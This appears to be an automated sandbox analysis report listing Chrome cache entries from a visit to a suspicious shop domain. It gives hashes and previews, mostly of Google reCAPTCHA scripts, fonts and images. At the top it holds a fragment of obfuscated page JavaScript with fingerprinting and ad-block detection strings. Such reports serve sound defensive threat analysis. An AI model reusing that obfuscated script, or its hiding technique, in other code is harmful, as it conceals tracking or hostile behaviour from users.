URL:	https://0.pwsinc.shop/?MKPT=Inc
Preview:	<!DOCTYPE html>.<html lang="en">. <head>. <script type="text/javascript">. function a0c5(c,t){var P=a0c4();return a0c5=function(K,j){K=K-0x1eb;var Z=P[K];return Z;},a0c5(c,t);}function a0c4(){var uK=['bind','Batang','lrsHW','utJVc','mHmld','nonWritable','outerHeight','fill','jfreq','','/npm-monitoring','.yb-floorad','NPMzp','undefined','location','item','MutationObserver','REST','ucewl','getter','unhandledRejection','[object\x20z]','zoom','.article-sharer','#sovrn_container','[object\x20Intl]','TRAJAN\x20PRO','(prefers-reduced-transparency:\x20','','','configurable','2325704WLFjDk','','#barraPublicidade','.widgetadv','hExLo','toLocaleString','AHpFZ','Event','onorientationchange','nPlZX','safari','POfpk','browserLanguage','CLOUDFLARE','alphabetic','GzWqn','2987214SGYALb','has','autocapitalize','MS\x20Reference\x20Specialty','#069','asinh','JSON','dontCallGetSet','Date','4293539','browser','setPrototypeOf','IS_ITERATOR','mozInnerScreenX','function','multiply','script','yHnNJ','','appl

Chrome Cache Entry: 63

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	102
Entropy (8bit):	4.921030304008144
Encrypted:	false
SSDEEP:	3:JSbMqSL1cdXWKQKzaXORdQzXWaee:PLKdXNQKGeOL
MD5:	59EE3965FCB16F88E9BDC20B9CD8612E
SHA1:	3D93A27E4DAC9DDA01DC5BBCCA9E1F53E827DAF2
SHA-256:	020A92F2FB27981D1398F916AE17400F8F11473962EBD858B7BF6901814EDD7B
SHA-512:	3E4C07D9CE3DEDE2998A59C32A3FE12D781AAE33C4AFE8D2B9B0D12C18EB96257373098497B5F3C909EC1EDE64FEB4B4074DBDB9678B4D6B019CD64360222849
Malicious:	false
Reputation:	low
Preview:	importScripts('https://www.gstatic.com/recaptcha/releases/xds0rzGrktR88uEZ2JUvdgOY/recaptcha__en.js');

Chrome Cache Entry: 64

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	600
Entropy (8bit):	7.391634169810707
Encrypted:	false
SSDEEP:	12:6v/7OEUT9vceKKNtY3kM8O+mucROzZbJOAjPBE2Iq8AnxT9:bTdcVIM8tfHzzjy2IdKT9
MD5:	0F2A4639B8A4CB30C76E8333C00D30A6
SHA1:	57E273A270BB864970D747C74B3F0A7C8E515B13
SHA-256:	44B988703019CD6BFA86C91840FECF2A42B611B364E3EEA2F4EB63BF62714E98
SHA-512:	3EA72C7E8702D2E9D94B0FAA6FA095A33AB8BC6EC2891F8B3165CE29A9CCF2114FAEF424FA03FD4B9D06785326284C1BB2087CE05E249CCAC65418361BFA7C51
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...0...0.......1.....gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.........IDATX..M+.Q.....&/....&......6...\|.I..).o.I.X..#.@.bb.D.'5....m...=..y........{....<.P..;.H......f...3l...M.I...j2.....3..1x..S......9..<m...E.'F'.. ...M.j...C..c.5.-..F..3H./F!.."V.e.i.}.Y....../.rw...@...].rp...`CQo(.....J...u.".!E...$.^$...k....b....@.^.;.u5........H/Q{..$..'..........w...r.+xS.uR..J.......GD.O./.. G7..l...J.t.3.S...N.7...e..s.-Jlj)..5E....E.;8w4.k..=.li.G...1.c....p,T6;....1.oW.%.2,..Z..a...*m.s}T1F....Hr.1......<x0.....-.i......IEND.B`.

Chrome Cache Entry: 65

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.75
Encrypted:	false
SSDEEP:	3:H0hCkY:UUkY
MD5:	AFB69DF47958EB78B4E941270772BD6A
SHA1:	D9FE9A625E906FF25C1F165E7872B1D9C731E78E
SHA-256:	874809FB1235F80831B706B9E9B903D80BD5662D036B7712CC76F8C684118878
SHA-512:	FD92B98859FFCCFD12AD57830887259F03C7396DA6569C0629B64604CD964E0DF15D695F1A770D2E7F8DF238140F0E6DA7E7D176B54E31C3BB75DDE9B9127C45
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAkx_WvuiCZz6RIFDVNaR8U=?alt=proto
Preview:	CgkKBw1TWkfFGgA=

Chrome Cache Entry: 66

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (724)
Category:	downloaded
Size (bytes):	551834
Entropy (8bit):	5.646059185430787
Encrypted:	false
SSDEEP:	6144:ytxIUYTteVvs0E8gSdoxS4MLYw1tZnAzsz1I9VBojCdzNDC2vPpD:ybYTZMgGopkAzsz1ciEU2d
MD5:	33AFF52B82A1DF246136E75500D93220
SHA1:	4675754451AF81F996EAB925923C31EF5115A9F4
SHA-256:	B5E8EC5D4DCC080657DEB2D004F65D974BF4EC9E9AA5D621E10749182FFF8731
SHA-512:	2E1BAAE95052737BDB3613A6165589643516A1F4811D19C2F037D426265AA5ADF3C70334C1106B1B0EEF779244389F0D7C8C52B4CD55FCE9BAB2E4FCB0642720
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/releases/xds0rzGrktR88uEZ2JUvdgOY/recaptcha__en.js
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. Copyright 2005, 2007 Bob Ippolito. All Rights Reserved.. Copyright The Closure Library Authors.. SPDX-License-Identifier: MIT././.. Copyright Google LLC. SPDX-License-Identifier: Apache-2.0././. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var z=function(){return[function(v,p,K,u,W,n){if(!((v>>2&(n=[6,"Unknown format requested type for int64",9],n[0])\|\|!U[22](11,this.U(),p)&&this.dispatchEvent("enter")&&this.isEnabled()&&R[23](n[2],this,2)&&R[3](n[0],2,!0,this),v-1)<20&&(v>>1&7)>=4&&(u=new vf,W=R[41](1,p,u,kV,K==p?K:P[8](37,K),5)),v<<1&11))throw Error(n[1]);return W},function(v,p,K,u,W){return((W=[17,7,46],v)<<2&W[1]\|\|(p=function(n){return K.call(p.src,p.listener,n)},K=UJ,u=p),(v-1\|12)<v&&(v-9\|59)>=v)&&(u=M[W[2]](15,p)&&!M[W[2]](13,."iPod")&&!M[W[2]](W[0],K)),((v\|8)&W[1])==1&&(u=p.Y?p.Y:p.I?"application/x-protobuffer":""),u},function(v,p,K,u,W){retu

Chrome Cache Entry: 67

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	665
Entropy (8bit):	7.42832670119013
Encrypted:	false
SSDEEP:	12:6v/7OEUelyuRs56fyKgIEInu5VLJBZInmJhd/3VqQXD8GBm1:belFRs56fuIEIu5VNBZInMTICfBO
MD5:	07BF314AAB04047B9E9A959EE6F63DA3
SHA1:	17BEF6602672E2FD9956381E01356245144003E5
SHA-256:	55EAF62CB05DA20088DC12B39D7D254D046CB1FD61DDF3AE641F1439EFD0A5EE
SHA-512:	2A1D4EBC7FBA6951881FD1DDA745480B504E14E3ADAC3B27EC5CF4045DE14FF030D45DDA99DC056285C7980446BA0FC37F489B7534BE46107B21BD43CEE87BA0
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...0...0.......1.....gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.........IDATX..W..DA.=.6O...H.,E.............b.....C.1...1..EbLPI.W......H..s.z5.:..._.d.0.u.......j.x.R..._.v..R...1..ir..`.yn..R..j.h./y..l......(`..5....l.E..0......B^......F.....F....Y\|p..._,p.............(3^.r.P.O......;<....z.,..yF....N..x.MS...Q.C%......D8G.+......oOk...)T..}\|..e...G.....'.R..G.Z.T}7(...&..@...G....$PGYv...A.c.]d....N..'.4b...R.%..)2Yd..b.M..^@.M....^.:h.N(dP*t..RQ%.o...{.vGH..S._".@./...g.....]...?..h..E.,r.m.%."."W.6G..t...->....q\.Kc.t"^......Kj~{l..C..).y..><@\|yB....=c.............!...<....IEND.B`.

Chrome Cache Entry: 68

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (724)
Category:	downloaded
Size (bytes):	551834
Entropy (8bit):	5.646059185430787
Encrypted:	false
SSDEEP:	6144:ytxIUYTteVvs0E8gSdoxS4MLYw1tZnAzsz1I9VBojCdzNDC2vPpD:ybYTZMgGopkAzsz1ciEU2d
MD5:	33AFF52B82A1DF246136E75500D93220
SHA1:	4675754451AF81F996EAB925923C31EF5115A9F4
SHA-256:	B5E8EC5D4DCC080657DEB2D004F65D974BF4EC9E9AA5D621E10749182FFF8731
SHA-512:	2E1BAAE95052737BDB3613A6165589643516A1F4811D19C2F037D426265AA5ADF3C70334C1106B1B0EEF779244389F0D7C8C52B4CD55FCE9BAB2E4FCB0642720
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/releases/xds0rzGrktR88uEZ2JUvdgOY/recaptcha__en.js
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. Copyright 2005, 2007 Bob Ippolito. All Rights Reserved.. Copyright The Closure Library Authors.. SPDX-License-Identifier: MIT././.. Copyright Google LLC. SPDX-License-Identifier: Apache-2.0././. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var z=function(){return[function(v,p,K,u,W,n){if(!((v>>2&(n=[6,"Unknown format requested type for int64",9],n[0])\|\|!U[22](11,this.U(),p)&&this.dispatchEvent("enter")&&this.isEnabled()&&R[23](n[2],this,2)&&R[3](n[0],2,!0,this),v-1)<20&&(v>>1&7)>=4&&(u=new vf,W=R[41](1,p,u,kV,K==p?K:P[8](37,K),5)),v<<1&11))throw Error(n[1]);return W},function(v,p,K,u,W){return((W=[17,7,46],v)<<2&W[1]\|\|(p=function(n){return K.call(p.src,p.listener,n)},K=UJ,u=p),(v-1\|12)<v&&(v-9\|59)>=v)&&(u=M[W[2]](15,p)&&!M[W[2]](13,."iPod")&&!M[W[2]](W[0],K)),((v\|8)&W[1])==1&&(u=p.Y?p.Y:p.I?"application/x-protobuffer":""),u},function(v,p,K,u,W){retu

Chrome Cache Entry: 69

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.02, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 300x300, components 3
Category:	dropped
Size (bytes):	27995
Entropy (8bit):	7.9708089341303525
Encrypted:	false
SSDEEP:	768:abNGMVGN0uvj25HbMy1cBP38Sc6m6NNPTaHy:aZnVGNZL257+9M0mGTaHy
MD5:	414A27C6F92B44B2991927BA463A9BAA
SHA1:	9DF988059DC3ED4980F7552AA17A2FBF0A8DD740
SHA-256:	BF8AA00C4F07555F797082186AFCE6992B7DA9420F01A07E4B66B408AA174CA1
SHA-512:	FF6C162A88A13B4A5B54209C447BD63DCD62380CF0286D1B7BD849BD109B32C311AA860462DAF3E70CA828E1755DD21262B0488CB586D2C9003F07961C8C75C6
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C..............................................!........."$".$.......C.......................................................................,.,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?....W}xLO..h..%...................#b1..f.@26..O'.j......!.o46..RS.[4e.....9.5WC.....J;..D.V.Eh......?.r.Q...z..EJ..n.hl.....Agi...M...C..pF..?Z..\|M..M.....".B......@.$9.+..%.....G.a..)=......Yw..l;.p7d.u...0Zx...N.....QG.n...a....F..I..v^..m......../..........2....@S...v........w..'...C..CA.....s.kbK.$..#G=v..v.....;...n.-..4...U._...`@..*.....;.B1r.R...

Chrome Cache Entry: 70

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced
Category:	downloaded
Size (bytes):	600
Entropy (8bit):	7.391634169810707
Encrypted:	false
SSDEEP:	12:6v/7OEUT9vceKKNtY3kM8O+mucROzZbJOAjPBE2Iq8AnxT9:bTdcVIM8tfHzzjy2IdKT9
MD5:	0F2A4639B8A4CB30C76E8333C00D30A6
SHA1:	57E273A270BB864970D747C74B3F0A7C8E515B13
SHA-256:	44B988703019CD6BFA86C91840FECF2A42B611B364E3EEA2F4EB63BF62714E98
SHA-512:	3EA72C7E8702D2E9D94B0FAA6FA095A33AB8BC6EC2891F8B3165CE29A9CCF2114FAEF424FA03FD4B9D06785326284C1BB2087CE05E249CCAC65418361BFA7C51
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/api2/refresh_2x.png
Preview:	.PNG........IHDR...0...0.......1.....gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.........IDATX..M+.Q.....&/....&......6...\|.I..).o.I.X..#.@.bb.D.'5....m...=..y........{....<.P..;.H......f...3l...M.I...j2.....3..1x..S......9..<m...E.'F'.. ...M.j...C..c.5.-..F..3H./F!.."V.e.i.}.Y....../.rw...@...].rp...`CQo(.....J...u.".!E...$.^$...k....b....@.^.;.u5........H/Q{..$..'..........w...r.+xS.uR..J.......GD.O./.. G7..l...J.t.3.S...N.7...e..s.-Jlj)..5E....E.;8w4.k..=.li.G...1.c....p,T6;....1.oW.%.2,..Z..a...*m.s}T1F....Hr.1......<x0.....-.i......IEND.B`.

Chrome Cache Entry: 71

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1434), with no line terminators
Category:	dropped
Size (bytes):	1434
Entropy (8bit):	5.782287307315429
Encrypted:	false
SSDEEP:	24:2jkm94/zKPccAv+KVCe2TLph9gFB5vtADjkrDQndcl/1t4glvllLtw1aWDAQosLc:VKEctKo7LmvtUjPKtX7S1aiRLrwUnG
MD5:	E7F4945A3458503BDEE0AD9476537604
SHA1:	CD049E2F8F9D05ABC087BBEF7EFEDA01EFB0F3A6
SHA-256:	8AB3BC08E25F6A7E24EF75EE66ED06360BCEEACE487D22822D7724B3F2BBED50
SHA-512:	BD30B50396E0015B723FFD185972E37094A5CFF4A42CB5AE5D439AE3B85F2735F33145B363E2657AC174D66ED2E3F97FC0C2BFC9FDEE6B06C61E5A01FD1CFF34
Malicious:	false
Reputation:	low
Preview:	/* PLEASE DO NOT COPY AND PASTE THIS CODE. */(function(){var w=window,C='___grecaptcha_cfg',cfg=w[C]=w[C]\|\|{},N='grecaptcha';var gr=w[N]=w[N]\|\|{};gr.ready=gr.ready\|\|function(f){(cfg['fns']=cfg['fns']\|\|[]).push(f);};w['__recaptcha_api']='https://www.google.com/recaptcha/api2/';(cfg['render']=cfg['render']\|\|[]).push('onload');w['__google_recaptcha_client']=true;var d=document,po=d.createElement('script');po.type='text/javascript';po.async=true; po.charset='utf-8';var v=w.navigator,m=d.createElement('meta');m.httpEquiv='origin-trial';m.content='A/kargTFyk8MR5ueravczef/wIlTkbVk1qXQesp39nV+xNECPdLBVeYffxrM8TmZT6RArWGQVCJ0LRivD7glcAUAAACQeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZS5jb206NDQzIiwiZmVhdHVyZSI6IkRpc2FibGVUaGlyZFBhcnR5U3RvcmFnZVBhcnRpdGlvbmluZzIiLCJleHBpcnkiOjE3NDIzNDIzOTksImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9';if(v&&v.cookieDeprecationLabel){v.cookieDeprecationLabel.getValue().then(function(l){if(l!=='treatment_1.1'&&l!=='treatment_1.2'&&l!=='control_1.1'){d.head.prepend(m)

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2228
Entropy (8bit):	7.82817506159911
Encrypted:	false
SSDEEP:	48:4/6MuQu6DYYEcBDlBVzqawiHI1Oupgl8m7NCnagQJFknwD:4SabhtXqMHyCl8m7N0ag6D
MD5:	EF9941290C50CD3866E2BA6B793F010D
SHA1:	4736508C795667DCEA21F8D864233031223B7832
SHA-256:	1B9EFB22C938500971AAC2B2130A475FA23684DD69E43103894968DF83145B8A
SHA-512:	A0C69C70117C5713CAF8B12F3B6E8BBB9CDAF72768E5DB9DB5831A3C37541B87613C6B020DD2F9B8760064A8C7337F175E7234BFE776EEE5E3588DC5662419D9
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...0...0.....W.......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.......C......pHYs.................IDATh...P....=..8.....Nx. ..PlP8..;.C.1iL#6....Z..!......3.po .o.L.i.I..1fl..4..ujL&6$...............w...........,Z..z. ~.....\.._.C.eK...g..%..P..L7...96..q....L.....k6.....,xz.._......B."#...L(n..f..Yb....8.;....K)N...H).%.F"Ic.LB.........jG.uD..B....Tm....T..).A.}D.f..3.V.....O.....t_..].x.{o..........x?!W...j..@..G=Ed.XF.........J..E?../]..?p..W..H..d5% WA+.....)2r..+..'qk8.../HS.[...u..z.P.....-.A.}.......I .P.....S....\|...)..KS4....I.....W...@....S.s..s..$`.X9.....E.x.=.u.iJ...........k......'...!.a....*+.....(...S..\h....@............I.$..%.2....l......a.\|.....U....y.....t..8....TF.o.p.+.@<.g........-.M.....:.@..(.......@......>..=.ofm.WM{...e..,..D.r.......w....T.L.os..T@Rv..;.....9....56<.x...........2.k.1....dd.V.....m..y5../4\|...G.p.V.......6...}.....B........5...&..v..yTd.6...../m.K...(.

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1434), with no line terminators
Category:	downloaded
Size (bytes):	1434
Entropy (8bit):	5.782287307315429
Encrypted:	false
SSDEEP:	24:2jkm94/zKPccAv+KVCe2TLph9gFB5vtADjkrDQndcl/1t4glvllLtw1aWDAQosLc:VKEctKo7LmvtUjPKtX7S1aiRLrwUnG
MD5:	E7F4945A3458503BDEE0AD9476537604
SHA1:	CD049E2F8F9D05ABC087BBEF7EFEDA01EFB0F3A6
SHA-256:	8AB3BC08E25F6A7E24EF75EE66ED06360BCEEACE487D22822D7724B3F2BBED50
SHA-512:	BD30B50396E0015B723FFD185972E37094A5CFF4A42CB5AE5D439AE3B85F2735F33145B363E2657AC174D66ED2E3F97FC0C2BFC9FDEE6B06C61E5A01FD1CFF34
Malicious:	false
Reputation:	low
URL:	https://www.google.com/recaptcha/api.js
Preview:	/* PLEASE DO NOT COPY AND PASTE THIS CODE. */(function(){var w=window,C='___grecaptcha_cfg',cfg=w[C]=w[C]\|\|{},N='grecaptcha';var gr=w[N]=w[N]\|\|{};gr.ready=gr.ready\|\|function(f){(cfg['fns']=cfg['fns']\|\|[]).push(f);};w['__recaptcha_api']='https://www.google.com/recaptcha/api2/';(cfg['render']=cfg['render']\|\|[]).push('onload');w['__google_recaptcha_client']=true;var d=document,po=d.createElement('script');po.type='text/javascript';po.async=true; po.charset='utf-8';var v=w.navigator,m=d.createElement('meta');m.httpEquiv='origin-trial';m.content='A/kargTFyk8MR5ueravczef/wIlTkbVk1qXQesp39nV+xNECPdLBVeYffxrM8TmZT6RArWGQVCJ0LRivD7glcAUAAACQeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZS5jb206NDQzIiwiZmVhdHVyZSI6IkRpc2FibGVUaGlyZFBhcnR5U3RvcmFnZVBhcnRpdGlvbmluZzIiLCJleHBpcnkiOjE3NDIzNDIzOTksImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9';if(v&&v.cookieDeprecationLabel){v.cookieDeprecationLabel.getValue().then(function(l){if(l!=='treatment_1.1'&&l!=='treatment_1.2'&&l!=='control_1.1'){d.head.prepend(m)

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15552, version 1.0
Category:	downloaded
Size (bytes):	15552
Entropy (8bit):	7.983966851275127
Encrypted:	false
SSDEEP:	384:HDKhlQ8AGL0dgUoEGBQTc7r6QYMkyr/iobA2E4/jKcJZI7lhzi:jslQ+LhUoTB0Qr6Qjkg/DmcJufzi
MD5:	285467176F7FE6BB6A9C6873B3DAD2CC
SHA1:	EA04E4FF5142DDD69307C183DEF721A160E0A64E
SHA-256:	5A8C1E7681318CAA29E9F44E8A6E271F6A4067A2703E9916DFD4FE9099241DB7
SHA-512:	5F9BB763406EA8CE978EC675BD51A0263E9547021EA71188DBD62F0212EB00C1421B750D3B94550B50425BEBFF5F881C41299F6A33BBFA12FB1FF18C12BC7FF1
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fBBc4.woff2
Preview:	wOF2......<...........<Z.........................d..z..J.`..L.\..<.....<.....^...x.6.$..6. .... ..S..}%.......\|....x..[j.E...d..-A...]=sjf$X.o.5......V....i?}.\...;...V......5..mO=,[.B..d'..=..M...q...8..U'..N..G...[..8....Jp..xP...'.?....}.-.1F.C.....%z..#...Q...~.~..3.............r.Xk..v..7t.+bw...f..b...q.W..'E.....O..a..HI.....Y.B..i.K.0.:.d.E.Lw....Q..~.6.}B...bT.F.,<./....Qu....\|...H....Fk.-..H..p4.$......{.2.....".T'..........Va.6+.9uv....RW..U$8...p...........H5...B..N..V...{.1....5}p.q6..T...U.P.N...U...!.w..?..mI..8q.}.... >.Z.K.....tq..}.><Ok..w.. ..v....W...{....o...."+#+,..vdt...p.WKK:.p1...3`. 3.......Q.].V.$}.......:.S..bb!I...c.of.2uq.n.MaJ..Cf.......w.$.9C...sj.=...=.Z7...h.w M.D..A.t.....]..GVpL...U(.+.)m..e)..H.}i.o.L...S.r..m..Ko....i..M..J..84.=............S..@......Z.V.E..b...0.....@h>...."$.?....../..?.....?.J.a,..\|..d...\|`.m5..b..LWc...L...?.G.].i...Q..1.:..LJV.J...bU.2.:\.kt.......t.....k....B..i.z+...........A.....

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	78840
Entropy (8bit):	6.022413301778022
Encrypted:	false
SSDEEP:	1536:OfGNbFoZJSUYOOaLnAW8+IcTOIlbuhXwW4nxM:mGRFauOxLA/+IcTOjX/
MD5:	0CA290F7801B0434CFE66A0F300A324C
SHA1:	0891B431E5F2671A211DDD8F03ACF1D07792F076
SHA-256:	0C613DC5F9E10DFF735C7A102433381C97B89C4A26CE26C78D9FFAD1ADDDC528
SHA-512:	AF70C75F30B08D731042C45091681B55E398EA6E6D96189BC9935CE25584A57240C678FF44C0C0428F93BF1F6A504E0558BC63F233D66D1B9A5B477BA1EF1533
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/releases/xds0rzGrktR88uEZ2JUvdgOY/styles__ltr.css
Preview:	.goog-inline-block{position:relative;display:-moz-inline-box;display:inline-block}* html .goog-inline-block{display:inline}*:first-child+html .goog-inline-block{display:inline}.recaptcha-checkbox{border:none;font-size:1px;height:28px;margin:4px;width:28px;overflow:visible;outline:0;vertical-align:text-bottom}.recaptcha-checkbox-border{-webkit-border-radius:2px;-moz-border-radius:2px;border-radius:2px;background-color:#fff;border:2px solid #c1c1c1;font-size:1px;height:24px;position:absolute;width:24px;z-index:1}.recaptcha-checkbox-borderAnimation{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAFQAAANICAYAAABZl8i8AAAAIGNIUk0AAHomAACAhAAA+gAAAIDoAAB1MAAA6mAAADqYAAAXcJy6UTwAAAAGYktHRAD/AP8A/6C9p5MAAHq9SURBVHja7Z15fFTl9f/fd9ZM9n1PgCyEXSSRNYKCgAuiIipuVSuudavV1tq6W/WrtnWrrZbWDZUqUqUoCoIEQhBI2JesELKvM9mTWe7c3x83d5xAlkky8fv92ft5vfKC19znOWfuZ571POc5B1SoUKFChQoVKlSoUKFChQoVKlSoUKFChQoVKlSoUKFChQoVKlSoUKFChQoVKlSoUKFChQoVKlSoUKHifwGCRqsTNFrdj6VPq9XqtNofT9+wvutQyEyad8t9IaPPntFUd

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced
Category:	downloaded
Size (bytes):	665
Entropy (8bit):	7.42832670119013
Encrypted:	false
SSDEEP:	12:6v/7OEUelyuRs56fyKgIEInu5VLJBZInmJhd/3VqQXD8GBm1:belFRs56fuIEIu5VNBZInMTICfBO
MD5:	07BF314AAB04047B9E9A959EE6F63DA3
SHA1:	17BEF6602672E2FD9956381E01356245144003E5
SHA-256:	55EAF62CB05DA20088DC12B39D7D254D046CB1FD61DDF3AE641F1439EFD0A5EE
SHA-512:	2A1D4EBC7FBA6951881FD1DDA745480B504E14E3ADAC3B27EC5CF4045DE14FF030D45DDA99DC056285C7980446BA0FC37F489B7534BE46107B21BD43CEE87BA0
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/api2/info_2x.png
Preview:	.PNG........IHDR...0...0.......1.....gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.........IDATX..W..DA.=.6O...H.,E.............b.....C.1...1..EbLPI.W......H..s.z5.:..._.d.0.u.......j.x.R..._.v..R...1..ir..`.yn..R..j.h./y..l......(`..5....l.E..0......B^......F.....F....Y\|p..._,p.............(3^.r.P.O......;<....z.,..yF....N..x.MS...Q.C%......D8G.+......oOk...)T..}\|..e...G.....'.R..G.Z.T}7(...&..@...G....$PGYv...A.c.]d....N..'.4b...R.%..)2Yd..b.M..^@.M....^.:h.N(dP*t..RQ%.o...{.vGH..S._".@./...g.....]...?..h..E.,r.m.%."."W.6G..t...->....q\.Kc.t"^......Kj~{l..C..).y..><@\|yB....=c.............!...<....IEND.B`.

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced
Category:	downloaded
Size (bytes):	530
Entropy (8bit):	7.2576396280117494
Encrypted:	false
SSDEEP:	12:6v/7OEUhUxzPKmghSn8nazyk+k8/OzxQcxNMvVb:bhUxzlvWkT8FcxK1
MD5:	88E0F42C9FA4F94AA8BCD54D1685C180
SHA1:	5AD9D47A49B82718BAA3BE88550A0B3350270C42
SHA-256:	89C62095126FCA89EA1511CF35B49B8306162946B0C26D6F60C5506C51D85992
SHA-512:	FAFF842E9FF4CC838EC3C724E95EEE6D36B2F8C768DC23E48669E28FC5C19AA24B1B34CF1DBCBE877B3537D6A325B4C35AF440C2B6D58F6A77A04A208D9296F8
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/api2/audio_2x.png
Preview:	.PNG........IHDR...0...0.......1.....gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.........IDATX...JBA.....E-R... (#..-*$.}.%.Kt.A..Dx.I...AF.Q.4.......-.6..?.m:.,.......Q..D.L..e4..2.D..8)j4:......&>.s......p?......9.o5>.][H.}...&L.%.xh{~K.J\|.b..N..HMp....f.}dd..S..4%...$dK..!..Z..NNs.W&g..Fn....p...w..Ut...E\.e.......6......M.F...X.L......em.....R#'..%....j$/..-......@.l."..M.\|....OtW.H.,.-.~W`Z.s8..W...B...C-.8"H....6......9...A..aO.1`.M..A..eA.{...-...U.,.W........IEND.B`.

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.02, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 300x300, components 3
Category:	downloaded
Size (bytes):	27995
Entropy (8bit):	7.9708089341303525
Encrypted:	false
SSDEEP:	768:abNGMVGN0uvj25HbMy1cBP38Sc6m6NNPTaHy:aZnVGNZL257+9M0mGTaHy
MD5:	414A27C6F92B44B2991927BA463A9BAA
SHA1:	9DF988059DC3ED4980F7552AA17A2FBF0A8DD740
SHA-256:	BF8AA00C4F07555F797082186AFCE6992B7DA9420F01A07E4B66B408AA174CA1
SHA-512:	FF6C162A88A13B4A5B54209C447BD63DCD62380CF0286D1B7BD849BD109B32C311AA860462DAF3E70CA828E1755DD21262B0488CB586D2C9003F07961C8C75C6
Malicious:	false
Reputation:	low
URL:	https://www.google.com/recaptcha/api2/payload?p=06AFcWeA5Xy4plWRp0xGOrKbTgf7USn7JzUl46qbrgNrLdXSpRUTGozCymoUkraLWUEcC_HwIbZz3SzrfQyrbWhsSAywus1mPldNOolr9VyHMbseVYi6tPAfOR_4e4mw8cd4xRqr8ScV4FHtZ6RTIRyzZQtR94s2vpEIBHezzL67jrQALXTQb6DbBvxHxi-6S9LK73hT22c-yC&k=6Lf74lMqAAAAAFqXGxj9CdECju7hWxuJ_fHrATHp
Preview:	......JFIF.............C..............................................!........."$".$.......C.......................................................................,.,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?....W}xLO..h..%...................#b1..f.@26..O'.j......!.o46..RS.[4e.....9.5WC.....J;..D.V.Eh......?.r.Q...z..EJ..n.hl.....Agi...M...C..pF..?Z..\|M..M.....".B......@.$9.+..%.....G.a..)=......Yw..l;